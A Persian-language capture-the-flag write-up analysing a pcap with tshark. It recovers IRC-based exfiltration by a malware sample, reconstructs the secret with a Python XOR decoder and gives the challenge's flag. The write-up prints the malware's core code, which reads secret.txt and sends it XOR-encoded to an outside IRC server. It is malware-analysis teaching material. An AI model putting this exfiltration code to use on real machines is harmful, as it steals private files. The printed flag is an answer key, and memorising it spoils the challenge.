چالش بدافزار دوم - راز
توضیحات
باید بیشتر مواظب این راز میبودم، به نظر میاد دیگه راز نیست!
قالب پرچم در این سوال به صورت parcham{some_l33t_string}
است.
حل چالش
گام اول
در این سوال به ما یک فایل pcap داده شده است. برای حل این سوال از برنامهی tshark استفاده میکنیم.
$ file secret_8c7c6c121aa273c00cca75e058820ba4.pcap
secret_8c7c6c121aa273c00cca75e058820ba4.pcap: pcap capture file, microsecond ts (little-endian) - version 2.4 (Linux cooked v1, capture length 262144)
$ tshark -r secret_8c7c6c121aa273c00cca75e058820ba4.pcap
1 0.000000 10.43.0.102 → 130.185.232.126 TCP 76 32888 → 6667 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=1081241631 TSecr=0 WS=128
2 0.306594 130.185.232.126 → 10.43.0.102 TCP 76 6667 → 32888 [SYN, ACK] Seq=0 Ack=1 Win=28960 Len=0 MSS=1104 SACK_PERM=1 TSval=2039463875 TSecr=1081241631 WS=128
3 0.306639 10.43.0.102 → 130.185.232.126 TCP 68 32888 → 6667 [ACK] Seq=1 Ack=1 Win=64256 Len=0 TSval=1081241937 TSecr=2039463875
4 0.616125 130.185.232.126 → 10.43.0.102 IRC 135 Response (NOTICE)
5 0.616160 10.43.0.102 → 130.185.232.126 TCP 68 32888 → 6667 [ACK] Seq=1 Ack=68 Win=64256 Len=0 TSval=1081242247 TSecr=2039464167
6 0.921032 130.185.232.126 → 10.43.0.102 IRC 192 Response (NOTICE) (NOTICE)
7 0.921066 10.43.0.102 → 130.185.232.126 TCP 68 32888 → 6667 [ACK] Seq=1 Ack=192 Win=64256 Len=0 TSval=1081242552 TSecr=2039464477
8 8.498723 130.185.232.126 → 10.43.0.102 IRC 125 Response (NOTICE)
9 8.498771 10.43.0.102 → 130.185.232.126 TCP 68 32888 → 6667 [ACK] Seq=1 Ack=249 Win=64256 Len=0 TSval=1081250130 TSecr=2039472003
.
.
.
با بررسی سریع محتوای pcap متوجه میشویم، که بدافزار از پروتکل irc
استفاده کرده است. این پروتکل برای چت کردن به صورت متنی است که
احتمالا به این معناست که بدافزار از آن برای فرستادن اطلاعات به بیرون استفاده کرده.
با دستور زیر میتوانیم دستورات irc را در این pcap ببینیم:
$ tshark -r secret_8c7c6c121aa273c00cca75e058820ba4.pcap -Y 'irc'
.
.
.
3824 1367.481990 10.43.0.102 → 130.185.232.126 IRC 119 Request (PRIVMSG)
3826 1368.483315 10.43.0.102 → 130.185.232.126 IRC 183 Request (PRIVMSG)
3828 1369.484614 10.43.0.102 → 130.185.232.126 IRC 120 Request (PRIVMSG)
3830 1370.485844 10.43.0.102 → 130.185.232.126 IRC 158 Request (PRIVMSG)
3832 1371.487161 10.43.0.102 → 130.185.232.126 IRC 129 Request (PRIVMSG)
3834 1372.488412 10.43.0.102 → 130.185.232.126 IRC 125 Request (PRIVMSG)
3836 1373.489365 10.43.0.102 → 130.185.232.126 IRC 119 Request (PRIVMSG)
3838 1374.490575 10.43.0.102 → 130.185.232.126 IRC 123 Request (PRIVMSG)
3840 1375.491376 10.43.0.102 → 130.185.232.126 IRC 187 Request (PRIVMSG)
3842 1376.492661 10.43.0.102 → 130.185.232.126 IRC 124 Request (PRIVMSG)
3844 1377.493947 10.43.0.102 → 130.185.232.126 IRC 125 Request (PRIVMSG)
3846 1378.495193 10.43.0.102 → 130.185.232.126 IRC 187 Request (PRIVMSG)
3848 1379.496543 10.43.0.102 → 130.185.232.126 IRC 126 Request (PRIVMSG)
3850 1380.497786 10.43.0.102 → 130.185.232.126 IRC 115 Request (PRIVMSG)
3852 1381.499049 10.43.0.102 → 130.185.232.126 IRC 121 Request (PRIVMSG)
3854 1382.499350 10.43.0.102 → 130.185.232.126 IRC 117 Request (PRIVMSG)
3856 1383.500562 10.43.0.102 → 130.185.232.126 IRC 140 Request (PRIVMSG)
3858 1384.501831 10.43.0.102 → 130.185.232.126 IRC 121 Request (PRIVMSG)
3860 1385.502941 10.43.0.102 → 130.185.232.126 IRC 109 Request (PRIVMSG)
3862 1386.503322 10.43.0.102 → 130.185.232.126 IRC 111 Request (PRIVMSG)
3864 1387.504554 10.43.0.102 → 130.185.232.126 IRC 91 Request (PRIVMSG)
3865 1387.818094 130.185.232.126 → 10.43.0.102 IRC 120 Response (412)
3869 1388.505753 10.43.0.102 → 130.185.232.126 IRC 91 Request (PRIVMSG)
3870 1388.748217 130.185.232.126 → 10.43.0.102 IRC 120 Response (412)
3872 1389.507032 10.43.0.102 → 130.185.232.126 IRC 84 Request (QUIT)
در پروتکل irc برای فرستادن پیام خصوصی به کاربران (یا کانال ها) از دستور PRIVMSG
استفاده میشود. با بررسی دستور
بالا نیز متوجه میشویم که تعداد زیادی دستور PRIVMSG وجود دارد. پس احتمالا برای فهمیدن این بدافزار باید این دستور ها را بررسی کنیم.
گام دوم
برای بررسی irc در برنامهی tshark فیلدهای زیر وجود دارند:
$ tshark -G fields | grep -i "irc\."
F Response irc.response FT_STRING irc 0x0 Line of response message
F Request irc.request FT_STRING irc 0x0 Line of request message
F Prefix irc.request.prefix FT_STRING irc 0x0 Request prefix
F Command irc.request.command FT_STRING irc 0x0 Request command
F Parameter irc.request.command_parameter FT_STRING irc 0x0 Request command parameter
F Trailer irc.request.trailer FT_STRING irc 0x0 Request trailer
F Prefix irc.response.prefix FT_STRING irc 0x0 Response prefix
F Command irc.response.command FT_STRING irc 0x0 Response command
F Command irc.response.num_command FT_UINT16 irc BASE_DEC 0x0 Response (numeric) command
F Parameter irc.response.command_parameter FT_STRING irc 0x0 Response command parameter
F Trailer irc.response.trailer FT_STRING irc 0x0 Response trailer
F CTCP Data irc.ctcp FT_STRING irc 0x0 Placeholder to dissect CTCP data
F Missing ending tag delimiter (0x01) irc.missing_end_delimiter FT_NONE irc 0x0
F Tag data outside of NOTICE or PRIVMSG command irc.tag_data_invalid FT_NONE irc 0x0
F Prefix missing ending <space> irc.prefix_missing_ending_space FT_NONE irc 0x0
F Request has no command irc.request.command.missing FT_NONE irc 0x0
F Numeric command not allowed in request irc.request.command.numeric FT_NONE irc 0x0
F Response has no command irc.response.command.missing FT_NONE irc 0x0
ما میخواهیم از فایل pcap داده شده، درخواستهای irc ای را که دستورشان PRIVMSG بوده، جدا کنیم. از آنجایی که پروتکل irc متنی است، کافی است متن تمام آن request ها را جمع کنیم و در یک فایل قرار دهیم.
$ tshark -r secret_8c7c6c121aa273c00cca75e058820ba4.pcap -Y 'irc && irc.request.command==PRIVMSG' -T fields -e irc.request > data.txt
$ head data.txt
PRIVMSG #spiderman :Master here is 5:
PRIVMSG #spiderman :11
PRIVMSG #spiderman :Master here is 49:
PRIVMSG #spiderman :65
PRIVMSG #spiderman :Master here is 56:
PRIVMSG #spiderman :59
PRIVMSG #spiderman :Master here is 65:
PRIVMSG #spiderman :13
PRIVMSG #spiderman :Master here is 27:
PRIVMSG #spiderman :18
با بررسی فایل data.txt متوجه میشویم که در ابتدای آن پیغامهایی به شکل بالا در کانال #spiderman
فرستاده شده.
همچنین در انتهای این فایل میبینیم که بدافزار در انتها سورس خود را در همین کانال ارسال کرده. با جدا کردن این بخش ها به کد برنامهی بدافزار میرسیم.
کد شامل بخش هایی برای وصل شدن و فرستادن پیام با پروتکل irc است. اما بخش اصلی کد این بدافزار در زیر خلاصه شده:
# ....
if __name__ == "__main__":
username = "botme"
channel = "#spiderman"
cmd = ""
try:
secret = open("secret.txt").read()
except:
secret = "Did not find secret!"
# ...
is_ = []
range_ = list(range(2,72))
random.shuffle(range_)
for index in range_:
client = joinjoin(username , channel)
if index > 1:
i = index - 1
client.send_message_to_channel("Master here is " + str(index) + ":")
client.send_message_to_channel(str(ord(secret[i])^ord(secret[i-1])))
time.sleep(1)
if index not in is_:
is_.append(index)
elif index == 1:
client.send_message_to_channel("Master here is " + str(index) + ":")
client.send_message_to_channel(str(ord(secret[0])))
time.sleep(1)
if index not in is_:
is_.append(index)
quit()
while(True):
client = joinjoin(username , channel)
resp = client.get_response().decode()
if "quit" in resp:
me = open(sys.argv[0], "r").readlines()[1:-1]
data = []
is_ = sorted(is_)
if 1 not in is_:
client.send_message_to_channel("Master we lost " + str(1) + ", here it is:")
time.sleep(1)
client.send_message_to_channel(str(ord(secret[0])))
range_ = list(range(2,72))
random.shuffle(range_)
for i in range_:
if i not in is_:
client.send_message_to_channel("Master we lost " + str(i) + ", here it is:")
time.sleep(1)
index = i - 1
client.send_message_to_channel(str(ord(secret[index])^ord(secret[index-1])))
time.sleep(1)
for l in me:
data.append(l)
for d in data:
client.send_message_to_channel(d)
time.sleep(1)
quit()
exit(0)
این کد محتوای فایل secret.txt
را با ترتیب نامعلوم و مخفی شده در کانال #spiderman
به این صورت است با ترتیب تصادفی (و shuffle شده) برای هر کاراکتر در secret، مقدار xor آن را با کاراکتر قبلی به صورت ASCII حساب میکند و آن را ارسال میکند.
مقدار ASCII کاراکتر اول را نیز بدون تغییر در کانال میفرستد.
پس در واقع وقتی در بخشی از data.txt داشتیم:
PRIVMSG #spiderman :Master here is 39:
PRIVMSG #spiderman :65
PRIVMSG #spiderman :Master we lost 1, here it is:
PRIVMSG #spiderman :112
به این معنا است که
ord(secret[38]) ^ ord(secret[37]) == 65
ord(secret[0]) == 112 # chr(112) == 'p'
گام سوم
حالا که کد برنامه و اطلاعاتی که در irc فرستاده شده را جدا کردیم، باید یک اسکریپت بنویسیم که مقدار secret را حساب کند. برای این کار باید مقدار index ها و مقدار xor شده را از فایل data.txt بخوانیم و به ترتیب index مرتب کنیم. و بعد با داشتن کاراکتر اول و مقدار در خانهی ۲ میتوانیم مقدار کاراکتر دوم را پیدا کنیم و به همین ترتیب تا به انتهای محتوای secret برسیم.
این کار در کد زیر انجام شده است:
import re
s = "PRIVMSG #spiderman :"
lines = [l.strip() for l in ",".join(open('./data.txt').readlines()).split(",")]
lines = [l[len(s):] for l in lines if l.startswith(s)]
lines = [(a, b) for a, b in zip(lines[::2], lines[1::2])] # خطها را دو به دو کنار هم بگذار
lines = [(a, b) for a, b in lines if a.startswith('Master')] # بخشهای مربوط به کد برنامه را پاک کن
lines = [(re.sub(r"\D", "", a), re.sub(r"\D", "", b)) for a, b in lines] # بخشهای غیرعددی را از خطها پاک کن!
lines = [(int(a), int(b)) for a, b in lines]
lines = sorted(lines)
acc = 0 # X ^ 0 = X
s = ''
for _, b in lines:
acc = b ^ acc
s += chr(acc)
print(s)
با اجرای این برنامه به پرچم میرسیم.
parcham{Y35_w3_4re_here__we_c4n_und3r5tand_Malw3rs_but_d0_w3_really?!}